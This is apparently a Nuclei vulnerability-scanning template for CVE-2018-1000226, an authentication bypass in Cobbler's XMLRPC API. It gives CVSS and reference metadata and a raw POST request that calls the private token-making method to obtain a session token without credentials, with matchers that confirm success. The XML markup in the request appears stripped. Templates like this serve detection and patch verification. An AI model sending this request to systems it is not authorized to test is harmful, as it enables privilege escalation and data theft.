id: CVE-2018-1000226 info: name: Cobbler - Authentication Bypass author: c-sh0 severity: critical description: Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API (/cobbler_api) that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting. This attack appear to be exploitable via "network connectivity". Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931. remediation: | Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Cobbler. reference: - https://github.com/cobbler/cobbler/issues/1916 - https://movermeyer.com/2018-08-02-privilege-escalation-exploits-in-cobblers-api/ - https://nvd.nist.gov/vuln/detail/CVE-2018-1000226 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-1000226 cwe-id: CWE-732 epss-score: 0.01552 epss-percentile: 0.85707 cpe: cpe:2.3:a:cobblerd:cobbler:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: cobblerd product: cobbler tags: cve,cve2018,cobbler,auth-bypass http: - raw: - | POST {{BaseURL}}/cobbler_api HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml _CobblerXMLRPCInterface__make_token cobbler matchers-condition: and matchers: - type: dsl dsl: - "!contains(tolower(body), 'faultCode')" - type: word part: header words: - "Content-Type: text/xml" - type: word part: body words: - "" - type: regex part: body regex: - "(.*[a-zA-Z0-9].+==)" - type: status status: - 200 # digest: 4a0a00473045022100b5e16a1092e75d5881f91a59a4906eb3d74d480f3525add91c65c0d63ca0918902202671f720aa9d1f20ccb665233e5d078d07fd5fa4ae25ef491d163e346b65d524:922c64590222798bb761d5b6d8e72950